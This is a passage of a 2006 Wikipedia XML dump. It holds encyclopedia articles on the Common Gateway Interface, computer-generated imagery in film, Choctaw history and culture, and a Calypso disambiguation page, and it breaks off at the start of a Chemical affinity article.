==External links==
*[http://www.archontology.org/nations/us/us1/griffin.php Cyrus Griffin at Archontology.org]&quot;.</text>
    </revision>
  </page>
  <page>
    <title>Common Gateway Interface</title>
    <id>7220</id>
    <revision>
      <id>40173709</id>
      <timestamp>2006-02-18T19:02:01Z</timestamp>
      <contributor>
        <ip>209.108.192.162</ip>
      </contributor>
      <text xml:space="preserve">'''Common Gateway Interface''' ('''CGI''') is an important [[World Wide Web]] technology that enables a client [[web browser]] to request data from a program executed on the [[Web server]]. CGI specifies a standard for passing request data between a web server and the program used to serve that request.

CGI arose out of discussions on the www-talk mailing list between Rob McCool, John Franks, Ari Luotonen, George Phillips and Tony Sanders in 1993.  Rob McCool, working at [[National Center for Supercomputing Applications|NCSA]], drafted the initial specification and provided a reference implementation in the [[NCSA HTTPd]] web server using [[environment variable]]s to store  parameters passed from the web server execution environment before spawning the CGI program as a separate [[computer process|process]].

The programming language [[Perl]] is often associated with CGI, but one of the aims of CGI is to be language-neutral. That is, CGI is not an actual LANGUAGE, it is a set of rules for communications.  Specifically, a set of rules for communication between a Web server's interface and other software on the Web server (such as a database).  The Web server does not need to know anything about the language in question.  
In fact, CGI programs can be written in any [[scripting language]] or a full-fledged [[programming language]], as long as that language can be executed on the system. Besides Perl, examples include [[Unix shell|Unix]] [[shell script]]s, [[Python programming language|Python]], [[Ruby_programming_language | Ruby]], [[PHP]], [[Tcl]],  and [[C programming language|C]]/[[C++]].

An example of a CGI program is the one implementing a [[wiki]]. The user agent requests the name of an entry; the server will retrieve the source of that entry's page (if one exists), transform it into [[HTML]], and send the result back to the browser or prompt the user to create it. All wiki operations are managed by this one program.

The way CGI works from the Web server's point of view is that certain locations (e.g. &lt;nowiki&gt;http://www.example.com/wiki.cgi&lt;/nowiki&gt;) are defined to be served by a CGI program. Whenever a request to a matching [[URL]] is received, the corresponding program is called, with any data that the client sent as input. Output from the program is collected by the Web server, augmented with appropriate headers, and sent back to the client.

Because this technology generally requires a fresh copy of the program to be executed for every CGI request, the workload could quickly overwhelm web servers, inspiring more efficient technologies such as [[Mod perl|mod_perl]] or [[Active_Server_Pages|ASP]] that allow script interpreters to be integrated directly into web servers as modules, thus avoiding the overhead of repeatedly loading and initializing language interpreters.

==Workarounds for scripting languages==

The overhead of spawning new processes to compile the server code can be easily handled if the code is occasionally changed. One example is [[FastCGI]] while others include programming [[Accelerator_(computing)|accelerators]] that take a web script when initially called and store a [[Compiler|compiled]] version of the script in system location so that further requests for the file are automatically directed to the compiled code instead of invoking the script interpreter every time the script is called. When scripts are changed the temporary [[accelerator (computing)|accelerator]] cache can be emptied to ensure that the new script is called instead of the old one.

Thus for languages such as C or Pascal, which are usually compiled anyway, CGI programs are no different from other programs in this regard, and require no special processing.

Another approach used for scripting languages is to embed the interpreter directly into the web server so that it can be executed without creating a new process. The [[Apache web server]] has a number of modules such as [[mod_perl]], [[mod_php]], [[mod_python]], [[mod_ruby]], and [[mod_mono]] which do this.

==See also==

* [[CGI.pm]]
* [[Simple Common Gateway Interface]]

== External links ==
*The [http://www.w3.org/CGI/ CGI standard] at w3.org.
*The [http://hoohoo.ncsa.uiuc.edu/cgi/ CGI/1.1 specification].
*The complete list of CGI variables is at http://hoohoo.ncsa.uiuc.edu/cgi/env.html.
*The [http://www.mems-exchange.org/software/scgi/ SCGI] protocol is a replacement for the Common Gateway Interface (CGI) protocol.
* [http://www.voidspace.org.uk/python/cgi.shtml Python CGI Scripts] protocol A set of CGI applications and modules for CGI programming with the Python language.

[[Category:World Wide Web]]

[[da:CGI]]
[[de:Common Gateway Interface]]
[[et:CGI]]
[[es:Common Gateway Interface]]
[[eo:CGI]]
[[fr:Common Gateway Interface]]
[[it:Common Gateway Interface]]
[[he:Common Gateway Interface]]
[[lt:CGI]]
[[nl:Common Gateway Interface]]
[[ja:Common Gateway Interface]]
[[pl:CGI]]
[[pt:CGI]]
[[ru:CGI]]
[[sl:Common Gateway Interface]]
[[sv:Common Gateway Interface]]
[[th:CGI]]
[[zh:通用网关接口]]</text>
    </revision>
  </page>
  <page>
    <title>Computer-generated imagery</title>
    <id>7221</id>
    <revision>
      <id>41553767</id>
      <timestamp>2006-02-28T02:53:37Z</timestamp>
      <contributor>
        <username>Ambush Commander</username>
        <id>93732</id>
      </contributor>
      <minor />
      <comment>modify template syntax</comment>
      <text xml:space="preserve">{{backlink|Animation}}
[[Image:Abyss.jpg|300px|thumb|The ''[[pseudopod]]'' in ''[[The Abyss]]'' marked CGI's acceptance in the visual effects industry.]]
 
'''Computer-generated imagery''' ('''CGI''') is the application of the field of [[computer graphics]] (or more specifically, [[3D computer graphics]]) to [[special effects]]. CGI is used in [[film|movie]]s, [[television program]]s and [[Television commercial|commercial]]s, and in printed media.  [[Video games]] most often use real-time computer graphics (rarely referred to as CGI), but may also include pre-rendered &quot;cut scenes&quot; and intro movies that would be typical CGI applications.  These are referred to as [[Full motion video|FMV]].

CGI is used because it is often cheaper than physical methods, such as constructing elaborate [[Miniature effect|miniature]]s for effects shots or hiring a great deal of [[extra (drama)|extra]]s for crowd scenes, and because it allows the creation of images that would not be feasible using any other method. It can also allow a single artist to produce content without the use of actors or other contributors to the project.

==History==
2D CGI was first used in [[film|movie]]s in [[1973]]'s ''[[Westworld]]'', though the first use of 3D imagery was in its sequel, ''[[Futureworld]]'' ([[1976]]), which featured a computer-generated hand and face created by then [[University of Utah]] graduate students [[Edwin Catmull]] and [[Fred Parke]]. The first two films to make heavy investments in CGI, ''[[Tron (movie)|Tron]]'' ([[1982]]) and ''[[The Last Starfighter]]'' ([[1984]]), were commercial failures, causing most directors to relegate CGI to images that were supposed to look like they were created by a computer. The first real CGI character was created by Pixar for the film ''[[Young Sherlock Holmes]]'' in 1985 (not counting the simple polyhedron character Bit in ''Tron''). It took the form of a knight composed of elements from a stained glass window. Photorealistic CGI did not win over the motion picture industry until [[1989]], when ''[[The Abyss]]'' won the [[Academy Award for Visual Effects]]. [[Industrial Light and Magic]] produced photorealistic CGI visual effects, most notably a seawater creature dubbed the ''[[pseudopod]]'', featuring in one scene of the film.  CGI then took a central role in ''[[Terminator 2: Judgment Day]]'' ([[1991]]), when the [[T-1000]] Terminator villain wowed audiences with liquid metal and [[morphing]] effects fully integrated into action sequences throughout the film. ''Terminator 2'' also won ILM an Oscar for its effects.

It was the 1993 film ''[[Jurassic Park]]'', however, where the dinosaurs appeared so life-like and the movie integrated CGI and live-action so flawlessly, it revolutionized the movie industry.  It marked Hollywood’s transition from stop-motion animation and conventional optical effects to digital techniques. 

2D CGI increasingly appeared in [[traditional animation|traditionally animated]] films, where it supplemented the use of hand-illustrated cels.  Its uses ranged from digital [[tweening]] motion between frames, to eye-catching quasi-3D effects such as the ballroom scene in ''[[Beauty_and_the_Beast_(1991_film)|Beauty and the Beast]]''.

[[Image:Movie_poster_toy_story.jpg|left|thumb|200px|''[[Toy Story]]'' (1995) was the first fully computer-generated feature film.]]
In [[1995]], the first fully computer-generated feature film, [[Pixar]]'s ''[[Toy Story]]'', was a resounding commercial success.  Additional digital animation studios such as [[Blue Sky Studios]] ([[20th Century Fox|Fox]]) and [[Pacific Data Images]] ([[Dreamworks SKG]]) went into production, and existing animation companies such as [[The Walt Disney Company]] began to make a transition from traditional animation to CGI.

Between 1995 and 2005 the average effects [[budget]] for a wide-release [[feature film]] skyrocketed from $5 million to $40 million. According to one studio executive, [[as of 2005]], more than half of feature films have significant effects. [http://www.wired.com/wired/archive/13.02/fxgods.html]

In the early 2000s, computer-generated imagery became the dominant form of special effects. The technology progressed to the point that it became possible to include virtual stunt doubles that were nearly indistinguishable from the actors they replaced. Computer-generated extras also became used extensively in crowd scenes. The [[timeline of CGI in movies]] shows a detailed list of pioneering uses of computer-generated imagery in film and television.

CGI for films is usually rendered at about 1.4&amp;ndash;6 [[megapixel]]s. ''Toy Story'', for example, was rendered at 1536&amp;nbsp;&amp;times;&amp;nbsp;922 (1.42MP). The time to render one frame is typically around 2&amp;ndash;3 hours, with ten times that for the most complex scenes. This time hasn't changed much in the last decade, as image quality has progressed at the same rate as improvements in hardware, since with faster machines, more and more complexity becomes feasible. Exponential increases in [[Graphics Processing Unit|GPUs]] processing power, as well as massive increases in parallel CPU power, storage and memory speed and size have greatly increased CGI's potential.

[[Image:Final_Fantasy_01.jpg|right|thumb|350px|''[[Final Fantasy: The Spirits Within]]'' (2001) was the first attempt to create a life-like feature film using only CGI.]]

In [[2001]], [[Square Pictures]] created the CGI film ''[[Final Fantasy: The Spirits Within]]'', which featured highly detailed and photographic-quality graphics. The film was not a box-office success, however, and after creating one more film using a similar visual style (''[[Final Flight of the Osiris]]'', a short subject which served as a prologue to ''[[The Matrix Reloaded]]''), Square Pictures closed down.

Developments in CGI technologies are reported each year at [[SIGGRAPH]], an annual conference on computer graphics and interactive techniques, attended each year by tens of thousands of computer professionals. 

Developers of computer games and 3D video cards strive to achieve the same visual quality on personal computers in real-time as is possible for CGI films and animation. With the rapid advancement of real-time rendering quality, artists began to use [[game engine]]s to render non-interactive movies. This art form is called ''[[machinima]]''.

==Creating characters and objects on a computer==
[[Image:Gollum.jpg|250px|thumb|[[Gollum]] from the [[Lord of the Rings]] film trilogy composed entirely of CGI along with the use of [[Motion capture]].]]

Computer animation combines [[Vector graphics]] with programmed movement. The starting point is  often a [[stick figure]] in which the position of each feature (limb, mouth etc) is defined by an [[Avar (animation variable)|Avars]] (animation variable). CGI is another term for computer animation, but usually refers to 3D high resolution with the emphasis on movies.

The character &quot;Woody&quot; in [[Pixar|Pixar's]] movie [[Toy Story]], for example, uses 700 Avars. Successive sets of Avars control all movement of the character from frame to frame. Once the stick model is moving in the desired way, the avars are incorporated into a full [[Wire frame model]] or a model built of polygons. Finally surfaces are added, requiring a lengthy process of [[Rendering]] to produce the final [[scene]].

There are several ways of generating the Avar values to obtain realistic motion. [[Motion capture]] uses lights or markers on a real person acting out the part, tracked by a [[video camera]]. Or the Avars may be set manually using a joystick or other form input control. [[Toy Story]] uses no motion tracking, probably because manual control by a skilled animator can produce effects not easily acted out by a real person.

==Free CGI Tools Available Online for Download==
*[[ArtofIllusion]]
*[[Blender (software)|Blender]]
*[[Povray]]

==See also==
* {{backlink}}[[Animation]]
* [[Computer animation]]
* [[Motion capture]]
* [[Wire frame model]]
* [[Computer representation of surfaces]]
* [[Timeline of CGI in film and television]]
* [[Visual effects]]
* [[Model (CGI)]]

==References==
* ''[http://www.wired.com/wired/archive/13.02/fxgods.html F/X Gods]'', by Anne Thompson, Wired, February 2005.

==External links==
* [http://accad.osu.edu/~waynec/history/ID797.html A Critical History of Computer Graphics and Animation] &amp;ndash; a course page at [[Ohio State University]] that includes all course materials and extensive supplementary materials (videos, articles, links).
* [http://www.elsnerpictures.com Elsner Pictures] An example of CGI in an [[independent film]] studio. 
* [http://www.idealitymovie.com Ideality] An example of CGI in an [[independent film]].
* [http://www.3eyeGroup.com/ CGI architectural Visualization Samples and high-end presentations]
* [http://silicon-valley.siggraph.org/MeetingNotes/ToyStory.html Pixar and Disney's Toy Story]


[[Category:Visual effects]]
[[Category:Animation]]


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  <page>
    <title>Choctaw</title>
    <id>7222</id>
    <revision>
      <id>41521783</id>
      <timestamp>2006-02-27T22:44:31Z</timestamp>
      <contributor>
        <username>TriNotch</username>
        <id>152193</id>
      </contributor>
      <comment>RV</comment>
      <text xml:space="preserve">:''For information about the helicopter, see [[H-34 Choctaw]]''
{{ethnic group|
|group=Choctaw
|image=[[Image:Pushmataha.JPG|center|200px]][[Pushmataha]] was the most famous Choctaw leader
|poptime=120,000
|popplace=[[United States]] ([[Oklahoma]], [[Mississippi]], [[Louisiana]])
|rels=[[Protestantism]], other
|langs=[[English language|English]], [[Choctaw language|Choctaw]]
|related=[[Five Civilized Tribes]]
}}

The '''Choctaws''' are a [[Native Americans in the United States|Native American]] people originally from the southeast [[United States]] ([[Mississippi]], [[Alabama]], and [[Louisiana]]). In the nineteenth century, they were known as one of the &quot;[[Five Civilized Tribes]],&quot; so-called because they had integrated a number of cultural and technological &quot;practices&quot; of Europeans. The Choctaws are famous for their extreme generosity in providing famine relief during the [[Irish Potato Famine]].

==Pre-history==

Du Pratz, in his Hist. de La Louisiane (Paris, 1758) recounted that &quot;...when I asked them from whence the Chat-kas came, to express the suddenness of their appearance they replied that they had come out from under the earth.&quot; Despite the author's assumption that this story was intended to &quot;express the suddenness of their appearance,&quot; and not a literal creation story, this is perhaps the first European writing to contain the seed of the story. Romans' 1771 account (Natural History of East and West Florida, New York, 1775) reiterated the story: 
&lt;blockquote&gt;
&quot;These people are the only nation from whom I could learn any idea of a traditional account of a first origin; and that is their coming out of a hole in the ground, which they shew between their nation and the Chickasaws; they tell us also that their neighbours were surprised at seeing a people rise at once out of the earth.&quot;
&lt;/blockquote&gt; 
As told by both early 19th century as well as contemporary Mississippi Choctaw storytellers, it was either [[Nanih Waiya]] or a cave nearby from which the Choctaw people emerged.

Another story (Catlin's Smithsonian Report, 1885) linking the Choctaw people to Nanih Waiya explains that the Choctaw were originally inhabitants of a place far to the west: 
&lt;blockquote&gt;
&quot;The Choctaws a great many winters ago commenced moving from the country where they then lived, which was a great distance to the west of the great river and the mountains of snow, and they were a great many years on their way. A great medicine man led them the whole way, by going before with a red pole, which he stuck in the ground every night where they encamped. This pole was every morning found leaning to the east, and he told them that they must continue to travel to the east until the pole would stand upright in their encampment, and that there the Great Spirit had directed that they should live.&quot; 
&lt;/blockquote&gt;
According to the story, it was at Nanih Waiya that the pole finally stood straight.  (Nanih Waiya means &quot;leaning hill&quot; in Choctaw.)

[[Nanih Waiya]] is in [[Winston County, Mississippi]] about ten miles southeast of [[Noxapater, Mississippi|Noxapater]]. Previously a State Park, it has now been returned to the Mississippi Band of Choctaw Indians.

Galloway (Choctaw Genesis 1500-1700, Lincoln, Neb.: University of Nebraska Press, 1995) argues from fragmentary archaeological and cartographic evidence that the Choctaw did not exist as a unified people before the seventeenth century, and only at that time did various southeastern peoples (remnants of Moundville, Plaquemine, and other Mississippian cultures) coalesce to form a self-consciously Choctaw people. Regardless of the time frame, however, the homeland of the Choctaw or of the peoples from whom the Choctaw nation arose includes Nanih Waiya. The mound and the surrounding area are sacred ground to Choctaws, and are a central point of connection between the Choctaws and their homeland.

==Early history==
The Choctaw were no doubt a part of the [[Mississippian culture]] in the Mississippi river valley.  At the time that the Spanish made their first forays into the gulf shores, the political centers of the Missisppians were already in decline or gone.  The region is best described as a collection of moderately-sized Native chiefdoms (such as those on the Coosa and Alabama rivers) interspersed with completely autonomous villages and tribal groups.  This is what the earliest Spanish explorers encountered, beginning in 1519.  

In 1528, [[Pánfilo de Narváez]] travelled through what was likely the [[Mobile Bay]] area, encountering American Indians who fled and burned their towns in response to the Spaniard’s approach.  This response was a prelude to [[Hernando de Soto (explorer)|Hernando de Soto]]’s extensive journeys in 1540 to 1543.  De Soto travelled up through Florida, and then down into the Alabama-Mississippi area that later was inhabited by the Choctaw.  Reading between the lines of his accounts of Native interactions provides a region full of tribes of various sizes and with various degrees of control over neighboring areas.  

The impact of European diseases is unclear.  Reports of De Soto’s journeys do not describe illness among his men, although pigs traveling with them often escaped and may have been excellent vectors for dangerous microbes.  The two subsequent brief forays into the Southeast by Tristán de Luna y Aellano in 1559 and Juan Pardo in 1565-1567 do not provide any evidence for widespread epidemics.  After Pardo, the historical picture ends.  There would be no official European contact in the area at all for more than a century, and during that time the group identities of the region completely transformed.  

The first direct contact recorded between the Choctaw and a European was with [[Pierre Le Moyne d'Iberville]] in 1699; however, indirect contact no doubt occurred between the Choctaw and [[Kingdom of Great Britain|British]] settlers through other tribes, including the [[Creek people|Creek]] and [[Chickasaw]].  Illegal fur trading may have led to further unofficial contact.  Unfortunately, the archaeological record for this period between 1567 and 1699 is not complete or well-studied, but there are similarities in pottery coloring and burials that suggest the following scenario for the emergence of the distinctive Choctaw culture: the Choctaw region (generally located between the Natchez bluffs to the south and the Yazoo basin to the north) was slowly occupied by Burial Urn people from the Bottle Creek area in the Mobile delta, along with remnants of the Moundville chiefdom that had collapsed some years before. Facing severe depopulation, they fled westward, where they combined with the Plaquemine and a group of “prairie people” living near the area.  When precisely this occurred is not entirely clear, but in the space of several generations, a new culture had been born (albeit with a strong Mississippian background).  

During the [[American Revolutionary War]], Choctaws divided over whether to support Britain or Spain (who declared war on Britain in 1779) with most Choctaws supporting Britain. Some Choctaw scouts served with U.S. General Wayne in the [[Northwest Indian War]]. During the [[American Civil War]], the Choctaws sided with the southern states.

George Washington’s Indian Policy was used to “civilize” Indians. He believed that Indians were equals, but believed their society was inferior. The 6 points plan includes: 1) impartial justice toward Indians, 2) regulated buying Indian lands, 3) promoted commerce, 4) promoted experiments to civilize Indians, 5) give the president authority to give them “presents”, and finally 6) provided punishments to those who violate Indian rights.

==Treaties==

Nine treaties were signed between the Choctaws and the United States between the years of 1786 and 1830. 

&lt;center&gt;
&lt;table border=0 cellpadding=0 cellspacing=0 width=400&gt;
&lt;tr align=left&gt;&lt;td&gt;Treaty of Hopewell&lt;/td&gt;             &lt;td&gt;January 3, 1786&lt;/td&gt;&lt;/tr&gt;
&lt;tr align=left&gt;&lt;td&gt;Treaty of Fort Adams&lt;/td&gt;            &lt;td&gt;December 17, 1801&lt;/td&gt;&lt;/tr&gt;
&lt;tr align=left&gt;&lt;td&gt;Treaty of Fort Confederation&lt;/td&gt;   &lt;td&gt;October 17, 1802&lt;/td&gt;&lt;/tr&gt;
&lt;tr align=left&gt;&lt;td&gt;Treaty of Hoe Buckintoopa&lt;/td&gt;      &lt;td&gt;August 31, 1803&lt;/td&gt;&lt;/tr&gt;
&lt;tr align=left&gt;&lt;td&gt;Treaty of Mount Dexter&lt;/td&gt;         &lt;td&gt;November 16, 1805&lt;/td&gt;&lt;/tr&gt;
&lt;tr align=left&gt;&lt;td&gt;Treaty of Fort St. Stephens&lt;/td&gt;    &lt;td&gt;October 24, 1816&lt;/td&gt;&lt;/tr&gt;
&lt;tr align=left&gt;&lt;td&gt;Treaty of Doak's Stand&lt;/td&gt;         &lt;td&gt;October 18, 1820&lt;/td&gt;&lt;/tr&gt;
&lt;tr align=left&gt;&lt;td&gt;Treaty of Washington City&lt;/td&gt;      &lt;td&gt;January 20,1825&lt;/td&gt;&lt;/tr&gt;
&lt;tr align=left&gt;&lt;td&gt;Treaty of Dancing Rabbit Creek&lt;/td&gt; &lt;td&gt;September 15-27, 1830&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;/center&gt;

The last treaty, the most recent, was the [[Treaty of Dancing Rabbit Creek]] (1830). The treaty signed away the remaining traditional homeland of the Choctaw to the United States. Article 14 of that treaty allowed for some Choctaws to remain in the state of Mississippi:

&lt;blockquote&gt;
''&quot;ART. XIV. Each Choctaw head of a family being desirous to remain and become a citizen of the States, shall be permitted to do so, by signifying his intention to the Agent within six months from the ratification of this Treaty, and he or she shall thereupon be entitled to a reservation of one section of six hundred and forty acres of land, to be bounded by sectional lines of survey; in like manner shall be entitled to one half that quantity for each unmarried child which is living with him over ten years of age; and a quarter section to such child as may be under 10 years of age, to adjoin the location of the parent. If they reside upon said lands intending to become citizens of the States for five years after the ratification of this Treaty, in that case a grant in fee simple shall issue; said reservation shall include the present improvement of the head of the family, or a portion of it. Persons who claim under this article shall not lose the privilege of a Choctaw citizen, but if they ever remove are not to be entitled to any portion of the Choctaw annuity.&quot;''
&lt;/blockquote&gt;

Those Choctaws who were &quot;[[Indian Removal|forcibly removed]]&quot; to the [[Indian territory]] in the [[1830s]] were organized as the Choctaw Nation of [[Oklahoma]]. Those who signed under article 14 of the Treaty of Dancing Rabit Creek later formed the [[Mississippi]] Band of Choctaw Indians. In 1831, tens of thousands of Choctaw walked the 800km journey to Oklahoma and more than half died. They later called this journey the &quot;Trail of Tears.&quot;

==Irish famine aid==
In 1847, midway through the [[Irish famine]], a group of Choctaws collected $710 and sent it to help starving Irish men, women and children. &quot;It had been just 16 years since the Choctaw people had experienced the Trail of Tears, and they had faced starvation . . . . It was an amazing gesture. By today's standards, it might be a million dollars.&quot; according to Judy Allen, editor of the Choctaw Nation's newspaper, Bishinik, based at the tribal headquarters in Durant, Okla. To mark the 150th anniversary, eight Irish people retraced the Trail of Tears [http://www.uwm.edu/~michael/choctaw/retrace.html].

==Original Code Talkers==

In [[World War I]], a group of Choctaws serving in the U.S. Army used their native language as a code. They were the forerunner to Native Americans from various nations, most notably the [[Navajo Nation|Navajo]], who were used as radio operators, or [[code talkers]], during [[World War II]].

==Recent history==
The Mississippi Band of Choctaw Indians (MBCI) has one of the largest casinos located near Philadelphia, Mississippi. The Silver Star Casino opened its doors in 1994. The Golden Moon Casino opened in 2002. The casinos are collectivelly known as the Pearl River Resort.

&quot;''[[Jack Abramoff]] and partner Michael Scanlon [[Abramoff-Reed Indian Gambling Scandal]] inflated expenses and divided the profits from $15 million in payments from the Mississippi Band of Choctaw Indians, according to testimony and e- mails released at a Senate Indian Affairs Committee hearing.''&quot; (Bloomberg Website)

&quot;''Choctaw Chief Phillip Martin did not testify, but released a prepared statement to the committee. 'After we learned what happened, we were astounded that a senior director at a major law firm would or could engage in misconduct of this sort -- whether as regards [to] billing fabrication or as regards [to] the more egregious 'gimme five' scheme -- and that he was able to get away with it for so long.'''&quot; (Washington Post Website)

U.S. Senator John McCain stated during a June 22, 2005 hearing that some of the money contributed by the tribe was unknowingly &quot;funneled&quot; to various people and organizations, like an Israeli sniper school instructor.

In e-mails to Scanlon, Abramoff also refered to the Choctaw as &quot;[[monkeys]].&quot;

Famous Americans who reportedly claim Choctaw ancestry include [[Brett Favre]] ([[NFL]] quarterback), [[James Meredith]] (the first person of [[African American]] heritage to attend the [[University of Mississippi]]), and [[Jessica Biel]] (actress).

==Location==
The Choctaw Reservation in Mississippi has 8 communities: Bogue Chitto, Bogue Homa,  Conehatta, Crystal Ridge, Pearl River, Red Water, Tucker, and Standing Pine. These communities are located throughout the state like a chain of &quot;islands.&quot; Collectively, the Choctaws still living in Mississippi constitute the Mississippi Band of Choctaw Indians, led by elected Chief Phillip Martin.

Most Choctaws were forcibly removed from Mississippi to Oklahoma during the 1830s. The Choctaw Nation was established in the southeastern quadrant of the state, where the majority of Oklahoma Choctaws still live. Choctaws contributed much to the early history of Oklahoma, even giving the state its name. Former Principal Chief Allen Wright suggested the name Oklahoma, from a contraction of the Choctaw words ''okla'' (&quot;people&quot;) and ''humma'' (&quot;red&quot;). Oklahoma Choctaws comprise the Choctaw Nation of Oklahoma. Their elected executive is Chief Gregory E. Pyle, and the Nation's headquarters are located in Durant, Oklahoma.

Together, the Choctaws are one of the most populous American Indian groups in North America, and many Choctaws live and work in both urban and rural areas around the United States.

==Culture==

===Stickball===
[[Image:Stickball.jpg|thumb|right|400px]]

[[Stickball (Native American)|Native American stickball]], the oldest field sport in America, was also know as the &quot;little brother of war&quot; because of its roughness and substitution for war. When disputes arouse between Choctaw communities, stickball provided a peaceful way to settle the issue. The earliest reference to stickball was in 1729 by a Jesuit priest. The stickball games would involve as few as twenty or as many as 300 players. With the goal posts any way from a few hundred feet apart to a few miles.

&lt;blockquote&gt;
&quot;''The nature of the playing field was never strictly defined. The only boundaries were the two goalposts at either end of the playing area and these could be anywhere from 100 feet to five miles apart, as was the case in one game in the 19th century.''&quot; (Kendall Blanchard, ''The Mississippi Choctaws at Play: The Serious Side of Leisure'')
&lt;/blockquote&gt;

The Mississippi Band of Choctaw Indians still play stickball. Every year at the Choctaw Indian Fair near Philadelphia, Mississippi it can be seen.

==Great Choctaws==
*[[Pushmataha]] was a leader during the removal era.&lt;br&gt;
[[Image:Pushmataha.jpg]]&lt;br&gt;
*[[Mosholatubbee]] was also a leader during the removal era.&lt;br&gt;
&lt;!-- Unsourced image removed: [[Image:Mush.jpg]] --&gt; 
*[[Tulli]] was one of the greatest Choctaw stickball players.
[[Image:Tulli.jpg]] [[Image:Tulli2.jpg]]
*[[Phillip Martin]], chief of the Mississippi Band of Choctaw Indians since [[1979]]. Encouraged outside investment and reduced unemployment to nearly 0% on the reservation.
[[Image:Chief martin.jpg]]

==Bibliography==
*Bushnell, David I. ''Smithsonian Institution Bureau of American Ethnology Bulletin 48: The Choctaw of Bayou Lacomb, St. Tammany Parish, Louisiana.'' Washington, DC: Government Printing Office, 1909.
*Byington, Cyrus. ''Smithsonian Institution Bureau of American Ethnology Bulletin 46: A Dictionary of the Choctaw Language.'' Washington, DC: Government Printing Office, 1915.
*Carson, James Taylor. ''Searching for the Bright Path: The Mississippi Choctaws from Prehistory to Removal''. Lincoln: University of Nebraska Press, 1999.
*Galloway, Patricia. ''Choctaw Genesis 1500-1700.'' Lincoln and London: University of Nebraska Press, 1995.
*Haag, Marcia and Henry Willis. ''Choctaw Language &amp; Culture: Chahta Anumpa.'' Norman, Okla: University of Oklahoma Press, 2001.
*Mould, Tom. ''Choctaw Tales.'' Jackson, Miss: University Press of Mississippi, 2004.
*O'Brien, Greg. ''Choctaws in a Revolutionary Age, 1750-1830''. Lincoln: University of Nebraska Press, 2002.
*Pesantubbee, Michelene E. ''Choctaw Women in a Chaotic World: The Clash of Cultures in the Colonial Southeast.'' Albuquerque, NM: University of New Mexico, 2005.
*Swanton, John R. ''Source Material for the Social and Ceremonial Life of the Choctaw Indians.'' Tuscaloosa and London: The University of Alabama Press, 2001.
*Tingle, Tim. ''Walking the Choctaw Road.'' El Paso, Tex: Cinco Puntos Press, 2003.

==See also==
*[[Choctaw mythology]]
*[[Choctaw language]]
*[[Battle of Ackia]]
*[[Irish Potato Famine (1845-1849)|Irish Potato Famine]]

==External links==
*[http://www.choctaw.org/ Mississippi Band of Choctaw Indians (official site)]
*[http://www.choctawnation.com/ Choctaw Nation of Oklahoma (official site)]
*[http://college.hmco.com/history/readerscomp/naind/html/na_007300_choctaw.htm &quot;Choctaw&quot; entry at ''Encyclopedia of North American Indians'']
*[http://www.pearlriverresort.com/ Pearl River Resort]
*[http://www.choctawindianfair.com/ Choctaw Indian Fair]
*[http://mshistory.k12.ms.us/features/feature14/choctaw_removal.html Mushulatubbee and Choctaw Removal]
*[http://mshistory.k12.ms.us/features/feature18/pushmataha.html Pushmataha:Choctaw Warrior, Diplomat, and Chief]

[[Category:Native American tribes]]
[[Category:Choctaw|*]]

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  <page>
    <title>Choctaws</title>
    <id>7223</id>
    <revision>
      <id>15905301</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Choctaw]]
</text>
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  </page>
  <page>
    <title>Calypso</title>
    <id>7224</id>
    <revision>
      <id>39674321</id>
      <timestamp>2006-02-15T02:12:19Z</timestamp>
      <contributor>
        <username>Sir Lewk</username>
        <id>173054</id>
      </contributor>
      <text xml:space="preserve">'''Calypso''' might refer to one of several things:

*[[Kalypso (mythology)|Calypso]] is the name of a sea [[nymph]] in [[Greek mythology]];
*[[Calypso music]] is a style of [[Caribbean]] [[folk music]];
*''[[Calypso (album)|Calypso]]'' is the name of an album sung by [[Harry Belafonte]];
*[[Calypso (moon)|Calypso]] is the name of a [[natural satellite|moon]] of [[Saturn (planet)|Saturn]];
*[[53 Kalypso]] is the name of an [[asteroid]];
*The ''[[Calypso (ship)|Calypso]]'' was a [[ship]] sailed by [[Jacques-Yves Cousteau]];
*[[HMS Calypso|HMS ''Calypso'']] was the name of a number of ships of the Royal Navy;
*[[John Denver]] wrote and perfomed a song called ''Calypso'' about Jacques-Yves Cousteau;
*[[Suzanne Vega]] also wrote a song &quot;Calypso&quot; in her 1987 album ''[[Solitude Standing]]'';
*''[[Calypso Orchid|Calypso]]'' is a [[genus]] of [[Orchid]]s, containing only one species, the [[Calypso Orchid]];
*[[Calypso (underwater camera)|Calypso]] was the first mass produced underwater [[camera]] designed by [[Jean De Wouters]] and [[Jacques-Yves Cousteau]] in 1957;
*[[Calypso (Twisted Metal)|Calypso]] is the mysterious man who offers competitors in the [[Twisted Metal]] series one wish if they win; 
*[[Calypso (ice cream)|Calypso]] is the name of a make of ice-lolly;
*[[Calypso, North Carolina]];
*[[CALIPSO]] is a planned [[NASA]] environmental satellite.
*'''Kalipso''' is a [[Russia]]n make of [[aqualung]].
*[[Calypso (comics)]] is a character in the Marvel Universe.
{{disambig}}

[[als:Calypso]]
[[de:Calypso]]
[[fr:Calypso]]
[[nl:Calypso]]
[[ja:カリプソ]]
[[pl:Calypso]]</text>
    </revision>
  </page>
  <page>
    <title>Chemical affinity</title>
    <id>7225</id>
    <revision>
      <id>40750192</id>
      <timestamp>2006-02-22T19:53:03Z</timestamp>
      <contributor>
        <username>Sadi Carnot</username>
        <id>726928</id>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">'''Chemical affinity''' results from electronic properties by which dissimilar substances are capable of forming chemical compounds. Specifically, the term refers to the tendency of an [[atom]] or [[compound]] to combine by [[chemical reaction]] with atoms or compounds of unlike composition.

== History ==
[[Physical chemistry]] was one of the first branches of science to study the &quot;theory of affinity&quot;.  The name ''affinitas'' was first used in the sense of chemical relation by German philosopher [[Albertus Magnus]] near the year 1250.  Later, those as [[Robert Boyle]], [[John Mayow]], [[Johann Glauber]], [[Isaac Newton]], and [[Georg Stahl]] put forward ideas on elective affinity in attempts to explain how [[heat]] is evolved during [[combustion reactions]].&lt;sup&gt;[1]&lt;/sup&gt;

